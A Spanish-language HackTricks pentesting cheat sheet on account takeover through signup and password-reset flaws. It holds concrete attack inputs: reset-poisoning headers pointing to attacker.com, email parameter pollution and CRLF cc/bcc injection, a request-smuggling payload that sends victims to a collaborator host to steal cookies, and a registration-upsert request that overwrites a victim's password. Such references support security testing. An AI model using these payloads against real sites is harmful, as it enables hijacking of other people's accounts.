Vulnerabilidades de Registro y Toma de Control
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Registro Takeover
Registro duplicado
- Intenta registrarte usando un nombre de usuario existente
- Comprueba variaciones del correo:
- uppsercase
- +1@
- add some dot in the email
- caracteres especiales en el nombre del correo (%00, %09, %20)
- Pon caracteres en blanco después del email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeración de nombres de usuario
Comprueba si puedes determinar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
Política de contraseñas
Al crear un usuario, revisa la política de contraseñas (comprueba si puedes usar contraseñas débiles).
En ese caso puedes intentar bruteforce de credenciales.
SQL Injection
Check this page para aprender cómo intentar toma de control de cuentas o extraer información vía SQL Injections en formularios de registro.
Oauth Takeovers
SAML Vulnerabilities
Cambiar el email
Una vez registrado, intenta cambiar el email y comprueba si este cambio se valida correctamente o si puedes cambiarlo a emails arbitrarios.
Más comprobaciones
- Comprueba si puedes usar correos desechables
- Contraseña larga (>200) lleva a DoS
- Comprueba los rate limits en la creación de cuentas
- Usa username@burp_collab.net y analiza el callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Solicita el restablecimiento de contraseña a tu dirección de email
- Haz clic en el enlace de restablecimiento de contraseña
- No cambies la contraseña
- Haz clic en cualquier sitio de terceros (ej.: Facebook, twitter)
- Intercepta la petición en el proxy de Burp Suite
- Comprueba si el header Referer está filtrando el token de restablecimiento de contraseña.
Password Reset Poisoning
- Intercepta la petición de restablecimiento en Burp Suite
- Añade o edita los siguientes headers en Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Reenvía la petición con el header modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Busca una URL de restablecimiento basada en el host header como :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR en parámetros de API
- El atacante debe iniciar sesión con su cuenta y acceder a la función Change password.
- Inicia Burp Suite y intercepta la solicitud\
- Envíala a la pestaña Repeater y edita los parámetros: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token débil de restablecimiento de contraseña
El token de restablecimiento de contraseña debe generarse de forma aleatoria y ser único en cada ocasión.
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede adivinarse. Las siguientes variables podrían usarse en el algoritmo.
- Marca de tiempo
- UserID
- Email del usuario
- Nombre y apellidos
- Fecha de nacimiento
- Criptografía
- Solo números
- Secuencia pequeña de token ( caracteres entre [A-Z,a-z,0-9])
- Reutilización del token
- Fecha de expiración del token
Leaking Password Reset Token
- Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
- Inspect the server response and check for
resetToken
- Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Restablecimiento de contraseña vía colisión de nombres de usuario
- Regístrate en el sistema con un nombre de usuario idéntico al de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. e.g:
"admin "
- Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
- Usa el token enviado a tu email y restablece la contraseña de la víctima.
- Conéctate a la cuenta de la víctima con la nueva contraseña.
La plataforma CTFd fue vulnerable a este ataque.
See: CVE-2020-7245
Secuestro de cuenta vía Cross Site Scripting
- Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al dominio padre :
*.domain.com
- Leak the current sessions cookie
- Autentícate como el usuario usando la cookie
Secuestro de cuenta mediante HTTP Request Smuggling
1. Usa smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una petición que sobrescriba el POST / HTTP/1.1
con los siguientes datos:
GET http://something.burpcollaborator.net HTTP/1.1 X:
con el objetivo de open redirect a las víctimas hacia burpcollab y robar sus cookies
3. La petición final podría verse como la siguiente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Secuestro de cuenta vía CSRF
- Crea un payload para el CSRF, p. ej.: “Formulario HTML con autoenvío para un cambio de contraseña”
- Envía el payload
Secuestro de cuenta vía JWT
JSON Web Token podría usarse para autenticar a un usuario.
- Edita el JWT con otro User ID / Email
- Comprueba si la firma JWT es débil
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.
- Descubrimiento: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Pistas del método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Cuerpo mínimo observado en entornos reales:
{"email":"victim@example.com","password":"New@12345"}
Ejemplo de PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impacto: Full Account Takeover (ATO) sin ningún reset token, OTP o verificación de correo electrónico.
Referencias
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.